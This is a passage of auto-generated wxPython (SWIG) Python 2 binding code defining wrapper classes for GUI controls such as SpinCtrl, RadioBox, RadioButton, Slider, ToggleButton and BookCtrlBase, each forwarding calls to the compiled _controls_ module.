self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=SP_ARROW_KEYS, int min=0, int max=100, \n int initial=0, String name=SpinCtrlNameStr) -> bool\n \"\"\"\n return _controls_.SpinCtrl_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> int\"\"\"\n return _controls_.SpinCtrl_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, int value)\"\"\"\n return _controls_.SpinCtrl_SetValue(*args, **kwargs)\n\n def SetValueString(*args, **kwargs):\n \"\"\"SetValueString(self, String text)\"\"\"\n return _controls_.SpinCtrl_SetValueString(*args, **kwargs)\n\n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, int minVal, int maxVal)\"\"\"\n return _controls_.SpinCtrl_SetRange(*args, **kwargs)\n\n def GetMin(*args, **kwargs):\n \"\"\"GetMin(self) -> int\"\"\"\n return _controls_.SpinCtrl_GetMin(*args, **kwargs)\n\n def GetMax(*args, **kwargs):\n \"\"\"GetMax(self) -> int\"\"\"\n return _controls_.SpinCtrl_GetMax(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, long from, long to)\"\"\"\n return _controls_.SpinCtrl_SetSelection(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.SpinCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n Max = property(GetMax,doc=\"See `GetMax`\") \n Min = property(GetMin,doc=\"See `GetMin`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.SpinCtrl_swigregister(SpinCtrl)\n\ndef PreSpinCtrl(*args, **kwargs):\n \"\"\"PreSpinCtrl() -> SpinCtrl\"\"\"\n val = _controls_.new_PreSpinCtrl(*args, **kwargs)\n return val\n\ndef SpinCtrl_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n SpinCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.SpinCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\nclass SpinEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ SpinEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventType commandType=wxEVT_NULL, int winid=0) -> SpinEvent\"\"\"\n _controls_.SpinEvent_swiginit(self,_controls_.new_SpinEvent(*args, **kwargs))\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> int\"\"\"\n return _controls_.SpinEvent_GetPosition(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, int pos)\"\"\"\n return _controls_.SpinEvent_SetPosition(*args, **kwargs)\n\n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n_controls_.SpinEvent_swigregister(SpinEvent)\n\nwxEVT_COMMAND_SPINCTRL_UPDATED = _controls_.wxEVT_COMMAND_SPINCTRL_UPDATED\nEVT_SPIN_UP = wx.PyEventBinder( wx.wxEVT_SCROLL_LINEUP, 1)\nEVT_SPIN_DOWN = wx.PyEventBinder( wx.wxEVT_SCROLL_LINEDOWN, 1)\nEVT_SPIN = wx.PyEventBinder( wx.wxEVT_SCROLL_THUMBTRACK, 1)\nEVT_SPINCTRL = wx.PyEventBinder( wxEVT_COMMAND_SPINCTRL_UPDATED, 1)\n\n#---------------------------------------------------------------------------\n\nclass RadioBox(_core.Control):\n \"\"\"Proxy of C++ RadioBox class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n wxArrayString choices=wxPyEmptyStringArray, \n int majorDimension=0, long style=RA_HORIZONTAL, \n Validator validator=DefaultValidator, \n String name=RadioBoxNameStr) -> RadioBox\n \"\"\"\n if kwargs.has_key('point'): kwargs['pos'] = kwargs['point'];del kwargs['point']\n _controls_.RadioBox_swiginit(self,_controls_.new_RadioBox(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n wxArrayString choices=wxPyEmptyStringArray, \n int majorDimension=0, long style=RA_HORIZONTAL, \n Validator validator=DefaultValidator, \n String name=RadioBoxNameStr) -> bool\n \"\"\"\n return _controls_.RadioBox_Create(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, int n)\"\"\"\n return _controls_.RadioBox_SetSelection(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"GetSelection(self) -> int\"\"\"\n return _controls_.RadioBox_GetSelection(*args, **kwargs)\n\n def GetStringSelection(*args, **kwargs):\n \"\"\"GetStringSelection(self) -> String\"\"\"\n return _controls_.RadioBox_GetStringSelection(*args, **kwargs)\n\n def SetStringSelection(*args, **kwargs):\n \"\"\"SetStringSelection(self, String s) -> bool\"\"\"\n return _controls_.RadioBox_SetStringSelection(*args, **kwargs)\n\n def GetCount(*args, **kwargs):\n \"\"\"GetCount(self) -> size_t\"\"\"\n return _controls_.RadioBox_GetCount(*args, **kwargs)\n\n def FindString(*args, **kwargs):\n \"\"\"FindString(self, String s) -> int\"\"\"\n return _controls_.RadioBox_FindString(*args, **kwargs)\n\n def GetString(*args, **kwargs):\n \"\"\"GetString(self, int n) -> String\"\"\"\n return _controls_.RadioBox_GetString(*args, **kwargs)\n\n def SetString(*args, **kwargs):\n \"\"\"SetString(self, int n, String label)\"\"\"\n return _controls_.RadioBox_SetString(*args, **kwargs)\n\n GetItemLabel = GetString \n SetItemLabel = SetString \n def EnableItem(*args, **kwargs):\n \"\"\"EnableItem(self, unsigned int n, bool enable=True)\"\"\"\n return _controls_.RadioBox_EnableItem(*args, **kwargs)\n\n def ShowItem(*args, **kwargs):\n \"\"\"ShowItem(self, unsigned int n, bool show=True)\"\"\"\n return _controls_.RadioBox_ShowItem(*args, **kwargs)\n\n def IsItemEnabled(*args, **kwargs):\n \"\"\"IsItemEnabled(self, unsigned int n) -> bool\"\"\"\n return _controls_.RadioBox_IsItemEnabled(*args, **kwargs)\n\n def IsItemShown(*args, **kwargs):\n \"\"\"IsItemShown(self, unsigned int n) -> bool\"\"\"\n return _controls_.RadioBox_IsItemShown(*args, **kwargs)\n\n def GetColumnCount(*args, **kwargs):\n \"\"\"GetColumnCount(self) -> unsigned int\"\"\"\n return _controls_.RadioBox_GetColumnCount(*args, **kwargs)\n\n def GetRowCount(*args, **kwargs):\n \"\"\"GetRowCount(self) -> unsigned int\"\"\"\n return _controls_.RadioBox_GetRowCount(*args, **kwargs)\n\n def GetNextItem(*args, **kwargs):\n \"\"\"GetNextItem(self, int item, int dir, long style) -> int\"\"\"\n return _controls_.RadioBox_GetNextItem(*args, **kwargs)\n\n def SetItemToolTip(*args, **kwargs):\n \"\"\"SetItemToolTip(self, unsigned int item, String text)\"\"\"\n return _controls_.RadioBox_SetItemToolTip(*args, **kwargs)\n\n def GetItemToolTip(*args, **kwargs):\n \"\"\"GetItemToolTip(self, unsigned int item) -> ToolTip\"\"\"\n return _controls_.RadioBox_GetItemToolTip(*args, **kwargs)\n\n def SetItemHelpText(*args, **kwargs):\n \"\"\"SetItemHelpText(self, unsigned int n, String helpText)\"\"\"\n return _controls_.RadioBox_SetItemHelpText(*args, **kwargs)\n\n def GetItemHelpText(*args, **kwargs):\n \"\"\"GetItemHelpText(self, unsigned int n) -> String\"\"\"\n return _controls_.RadioBox_GetItemHelpText(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.RadioBox_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n ColumnCount = property(GetColumnCount,doc=\"See `GetColumnCount`\") \n Count = property(GetCount,doc=\"See `GetCount`\") \n RowCount = property(GetRowCount,doc=\"See `GetRowCount`\") \n Selection = property(GetSelection,SetSelection,doc=\"See `GetSelection` and `SetSelection`\") \n StringSelection = property(GetStringSelection,SetStringSelection,doc=\"See `GetStringSelection` and `SetStringSelection`\") \n_controls_.RadioBox_swigregister(RadioBox)\nRadioBoxNameStr = cvar.RadioBoxNameStr\nRadioButtonNameStr = cvar.RadioButtonNameStr\n\ndef PreRadioBox(*args, **kwargs):\n \"\"\"PreRadioBox() -> RadioBox\"\"\"\n val = _controls_.new_PreRadioBox(*args, **kwargs)\n return val\n\ndef RadioBox_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n RadioBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.RadioBox_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass RadioButton(_core.Control):\n \"\"\"Proxy of C++ RadioButton class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=RadioButtonNameStr) -> RadioButton\n \"\"\"\n _controls_.RadioButton_swiginit(self,_controls_.new_RadioButton(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=RadioButtonNameStr) -> bool\n \"\"\"\n return _controls_.RadioButton_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> bool\"\"\"\n return _controls_.RadioButton_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, bool value)\"\"\"\n return _controls_.RadioButton_SetValue(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.RadioButton_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.RadioButton_swigregister(RadioButton)\n\ndef PreRadioButton(*args, **kwargs):\n \"\"\"PreRadioButton() -> RadioButton\"\"\"\n val = _controls_.new_PreRadioButton(*args, **kwargs)\n return val\n\ndef RadioButton_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n RadioButton_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.RadioButton_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nSL_HORIZONTAL = _controls_.SL_HORIZONTAL\nSL_VERTICAL = _controls_.SL_VERTICAL\nSL_TICKS = _controls_.SL_TICKS\nSL_AUTOTICKS = _controls_.SL_AUTOTICKS\nSL_LABELS = _controls_.SL_LABELS\nSL_LEFT = _controls_.SL_LEFT\nSL_TOP = _controls_.SL_TOP\nSL_RIGHT = _controls_.SL_RIGHT\nSL_BOTTOM = _controls_.SL_BOTTOM\nSL_BOTH = _controls_.SL_BOTH\nSL_SELRANGE = _controls_.SL_SELRANGE\nSL_INVERSE = _controls_.SL_INVERSE\nclass Slider(_core.Control):\n \"\"\"Proxy of C++ Slider class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, int value=0, int minValue=0, \n int maxValue=100, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=SL_HORIZONTAL, \n Validator validator=DefaultValidator, \n String name=SliderNameStr) -> Slider\n \"\"\"\n if kwargs.has_key('point'): kwargs['pos'] = kwargs['point'];del kwargs['point']\n _controls_.Slider_swiginit(self,_controls_.new_Slider(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, int value=0, int minValue=0, \n int maxValue=100, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=SL_HORIZONTAL, \n Validator validator=DefaultValidator, \n String name=SliderNameStr) -> bool\n \"\"\"\n return _controls_.Slider_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> int\"\"\"\n return _controls_.Slider_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, int value)\"\"\"\n return _controls_.Slider_SetValue(*args, **kwargs)\n\n def GetMin(*args, **kwargs):\n \"\"\"GetMin(self) -> int\"\"\"\n return _controls_.Slider_GetMin(*args, **kwargs)\n\n def GetMax(*args, **kwargs):\n \"\"\"GetMax(self) -> int\"\"\"\n return _controls_.Slider_GetMax(*args, **kwargs)\n\n def SetMin(*args, **kwargs):\n \"\"\"SetMin(self, int minValue)\"\"\"\n return _controls_.Slider_SetMin(*args, **kwargs)\n\n def SetMax(*args, **kwargs):\n \"\"\"SetMax(self, int maxValue)\"\"\"\n return _controls_.Slider_SetMax(*args, **kwargs)\n\n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, int minValue, int maxValue)\"\"\"\n return _controls_.Slider_SetRange(*args, **kwargs)\n\n def GetRange(self):\n return self.GetMin(), self.GetMax()\n\n def SetLineSize(*args, **kwargs):\n \"\"\"SetLineSize(self, int lineSize)\"\"\"\n return _controls_.Slider_SetLineSize(*args, **kwargs)\n\n def SetPageSize(*args, **kwargs):\n \"\"\"SetPageSize(self, int pageSize)\"\"\"\n return _controls_.Slider_SetPageSize(*args, **kwargs)\n\n def GetLineSize(*args, **kwargs):\n \"\"\"GetLineSize(self) -> int\"\"\"\n return _controls_.Slider_GetLineSize(*args, **kwargs)\n\n def GetPageSize(*args, **kwargs):\n \"\"\"GetPageSize(self) -> int\"\"\"\n return _controls_.Slider_GetPageSize(*args, **kwargs)\n\n def SetThumbLength(*args, **kwargs):\n \"\"\"SetThumbLength(self, int lenPixels)\"\"\"\n return _controls_.Slider_SetThumbLength(*args, **kwargs)\n\n def GetThumbLength(*args, **kwargs):\n \"\"\"GetThumbLength(self) -> int\"\"\"\n return _controls_.Slider_GetThumbLength(*args, **kwargs)\n\n def SetTickFreq(*args, **kwargs):\n \"\"\"SetTickFreq(self, int n, int pos=1)\"\"\"\n return _controls_.Slider_SetTickFreq(*args, **kwargs)\n\n def GetTickFreq(*args, **kwargs):\n \"\"\"GetTickFreq(self) -> int\"\"\"\n return _controls_.Slider_GetTickFreq(*args, **kwargs)\n\n def ClearTicks(*args, **kwargs):\n \"\"\"ClearTicks(self)\"\"\"\n return _controls_.Slider_ClearTicks(*args, **kwargs)\n\n def SetTick(*args, **kwargs):\n \"\"\"SetTick(self, int tickPos)\"\"\"\n return _controls_.Slider_SetTick(*args, **kwargs)\n\n def ClearSel(*args, **kwargs):\n \"\"\"ClearSel(self)\"\"\"\n return _controls_.Slider_ClearSel(*args, **kwargs)\n\n def GetSelEnd(*args, **kwargs):\n \"\"\"GetSelEnd(self) -> int\"\"\"\n return _controls_.Slider_GetSelEnd(*args, **kwargs)\n\n def GetSelStart(*args, **kwargs):\n \"\"\"GetSelStart(self) -> int\"\"\"\n return _controls_.Slider_GetSelStart(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, int min, int max)\"\"\"\n return _controls_.Slider_SetSelection(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Slider_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n LineSize = property(GetLineSize,SetLineSize,doc=\"See `GetLineSize` and `SetLineSize`\") \n Max = property(GetMax,SetMax,doc=\"See `GetMax` and `SetMax`\") \n Min = property(GetMin,SetMin,doc=\"See `GetMin` and `SetMin`\") \n PageSize = property(GetPageSize,SetPageSize,doc=\"See `GetPageSize` and `SetPageSize`\") \n SelEnd = property(GetSelEnd,doc=\"See `GetSelEnd`\") \n SelStart = property(GetSelStart,doc=\"See `GetSelStart`\") \n ThumbLength = property(GetThumbLength,SetThumbLength,doc=\"See `GetThumbLength` and `SetThumbLength`\") \n TickFreq = property(GetTickFreq,SetTickFreq,doc=\"See `GetTickFreq` and `SetTickFreq`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.Slider_swigregister(Slider)\nSliderNameStr = cvar.SliderNameStr\n\ndef PreSlider(*args, **kwargs):\n \"\"\"PreSlider() -> Slider\"\"\"\n val = _controls_.new_PreSlider(*args, **kwargs)\n return val\n\ndef Slider_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Slider_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Slider_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nwxEVT_COMMAND_TOGGLEBUTTON_CLICKED = _controls_.wxEVT_COMMAND_TOGGLEBUTTON_CLICKED\nEVT_TOGGLEBUTTON = wx.PyEventBinder( wxEVT_COMMAND_TOGGLEBUTTON_CLICKED, 1)\n\nclass ToggleButton(_core.Control):\n \"\"\"Proxy of C++ ToggleButton class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=ToggleButtonNameStr) -> ToggleButton\n \"\"\"\n _controls_.ToggleButton_swiginit(self,_controls_.new_ToggleButton(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=ToggleButtonNameStr) -> bool\n \"\"\"\n return _controls_.ToggleButton_Create(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, bool value)\"\"\"\n return _controls_.ToggleButton_SetValue(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> bool\"\"\"\n return _controls_.ToggleButton_GetValue(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ToggleButton_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.ToggleButton_swigregister(ToggleButton)\nToggleButtonNameStr = cvar.ToggleButtonNameStr\n\ndef PreToggleButton(*args, **kwargs):\n \"\"\"PreToggleButton() -> ToggleButton\"\"\"\n val = _controls_.new_PreToggleButton(*args, **kwargs)\n return val\n\ndef ToggleButton_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n ToggleButton_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ToggleButton_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nBK_DEFAULT = _controls_.BK_DEFAULT\nBK_TOP = _controls_.BK_TOP\nBK_BOTTOM = _controls_.BK_BOTTOM\nBK_LEFT = _controls_.BK_LEFT\nBK_RIGHT = _controls_.BK_RIGHT\nBK_ALIGN_MASK = _controls_.BK_ALIGN_MASK\nBK_BUTTONBAR = _controls_.BK_BUTTONBAR\nBK_HITTEST_NOWHERE = _controls_.BK_HITTEST_NOWHERE\nBK_HITTEST_ONICON = _controls_.BK_HITTEST_ONICON\nBK_HITTEST_ONLABEL = _controls_.BK_HITTEST_ONLABEL\nBK_HITTEST_ONITEM = _controls_.BK_HITTEST_ONITEM\nBK_HITTEST_ONPAGE = _controls_.BK_HITTEST_ONPAGE\nclass BookCtrlBase(_core.Control):\n \"\"\"Proxy of C++ BookCtrlBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def GetPageCount(*args, **kwargs):\n \"\"\"GetPageCount(self) -> size_t\"\"\"\n return _controls_.BookCtrlBase_GetPageCount(*args, **kwargs)\n\n def GetPage(*args, **kwargs):\n \"\"\"GetPage(self, size_t n) -> Window\"\"\"\n return _controls_.BookCtrlBase_GetPage(*args, **kwargs)\n\n def GetCurrentPage(*args, **kwargs):\n \"\"\"GetCurrentPage(self) -> Window\"\"\"\n return _controls_.BookCtrlBase_GetCurrentPage(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"GetSelection(self) -> int\"\"\"\n return _controls_.BookCtrlBase_GetSelection(*args, **kwargs)\n\n def SetPageText(*args, **kwargs):\n \"\"\"SetPageText(self, size_t n, String strText) -> bool\"\"\"\n return _controls_.BookCtrlBase_SetPageText(*args, **kwargs)\n\n def GetPageText(*args, **kwargs):\n \"\"\"GetPageText(self, size_t n) -> String\"\"\"\n return _controls_.BookCtrlBase_GetPageText(*args, **kwargs)\n\n def SetImageList(*args, **kwargs):\n \"\"\"SetImageList(self, ImageList imageList)\"\"\"\n return _controls_.BookCtrlBase_SetImageList(*args, **kwargs)\n\n def AssignImageList(*args, **kwargs):\n \"\"\"AssignImageList(self, ImageList imageList)\"\"\"\n return _controls_.BookCtrlBase_AssignImageList(*args, **kwargs)\n\n def GetImageList(*args, **kwargs):\n \"\"\"GetImageList(self) -> ImageList\"\"\"\n return _controls_.BookCtrlBase_GetImageList(*args, **kwargs)\n\n def GetPageImage(*args, **kwargs):\n \"\"\"GetPageImage(self, size_t n) -> int\"\"\"\n return _controls_.BookCtrlBase_GetPageImage(*args, **kwargs)\n\n def SetPageImage(*args, **kwargs):\n \"\"\"SetPageImage(self, size_t n, int imageId) -> bool\"\"\"\n return _controls_.BookCtrlBase_SetPageImage(*args, **kwargs)\n\n def SetPageSize(*args, **kwargs):\n \"\"\"SetPageSize(self, Size size)\"\"\"\n return _controls_.BookCtrlBase_SetPageSize(*args, **kwargs)\n\n def CalcSizeFromPage(*args, **kwargs):\n \"\"\"CalcSizeFromPage(self, Size sizePage) -> Size\"\"\"\n return _controls_.BookCtrlBase_CalcSizeFromPage(*args, **kwargs)\n\n def GetInternalBorder(*args, **kwargs):\n \"\"\"GetInternalBorder(self) -> unsigned int\"\"\"\n return _controls_.BookCtrlBase_GetInternalBorder(*args, **kwargs)\n\n def SetInternalBorder(*args, **kwargs):\n \"\"\"SetInternalBorder(self, unsigned int internalBorder)\"\"\"\n return _controls_.BookCtrlBase_SetInternalBorder(*args, **kwargs)\n\n def IsVertical(*args, **kwargs):\n \"\"\"IsVertical(self) -> bool\"\"\"\n return _controls_.BookCtrlBase_IsVertical(*args, **kwargs)\n\n def SetControlMargin(*args, **kwargs):\n \"\"\"SetControlMargin(self, int margin)\"\"\"\n return _controls_.BookCtrlBase_SetControlMargin(*args, **kwargs)\n\n def GetControlMargin(*args, **kwargs):\n \"\"\"GetControlMargin(self) -> int\"\"\"\n return _controls_.BookCtrlBase_GetControlMargin(*args, **kwargs)\n\n def SetFitToCurrentPage(*args, **kwargs):\n \"\"\"SetFitToCurrentPage(self, bool fit)\"\"\"\n return _controls_.BookCtrlBase_SetFitToCurrentPage(*args, **kwargs)\n\n def GetFitToCurrentPage(*args, **kwargs):\n \"\"\"GetFitToCurrentPage(self) -> bool\"\"\"\n return _controls_.BookCtrlBase_GetFitToCurrentPage(*args, **kwargs)\n\n def GetControlSizer(*args, **kwargs):\n \"\"\"GetControlSizer(self) -> Sizer\"\"\"\n return _controls_.BookCtrlBase_GetControlSizer(*args, **kwargs)\n\n def DeletePage(*args, **kwargs):\n \"\"\"DeletePage(self, size_t n) -> bool\"\"\"\n return _controls_.BookCtrlBase_DeletePage(*args, **kwargs)\n\n def RemovePage(*args, **kwargs):\n \"\"\"RemovePage(self, size_t n) -> bool\"\"\"\n return _controls_.BookCtrlBase_RemovePage(*args, **kwargs)\n\n def DeleteAllPages(*args, **kwargs):\n \"\"\"DeleteAllPages(self) -> bool\"\"\"\n return _controls_.BookCtrlBase_DeleteAllPages(*args, **kwargs)\n\n def AddPage(*args, **kwargs):\n \"\"\"AddPage(self, Window page, String text, bool select=False, int imageId=-1) -> bool\"\"\"\n return _controls_.BookCtrlBase_AddPage(*args, **kwargs)\n\n def InsertPage(*args, **kwargs):\n \"\"\"\n InsertPage(self, size_t n, Window page, String text, bool select=False, \n int imageId=-1) -> bool\n \"\"\"\n return _controls_.BookCtrlBase_InsertPage(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, size_t n) -> int\"\"\"\n return _controls_.BookCtrlBase_SetSelection(*args, **kwargs)\n\n def ChangeSelection(*args, **kwargs):\n \"\"\"ChangeSelection(self, size_t n) -> int\"\"\"\n return _controls_.BookCtrlBase_ChangeSelection(*args, **kwargs)\n\n def AdvanceSelection(*args, **kwargs):\n \"\"\"AdvanceSelection(self, bool forward=True)\"\"\"\n return _controls_.BookCtrlBase_AdvanceSelection(*args, 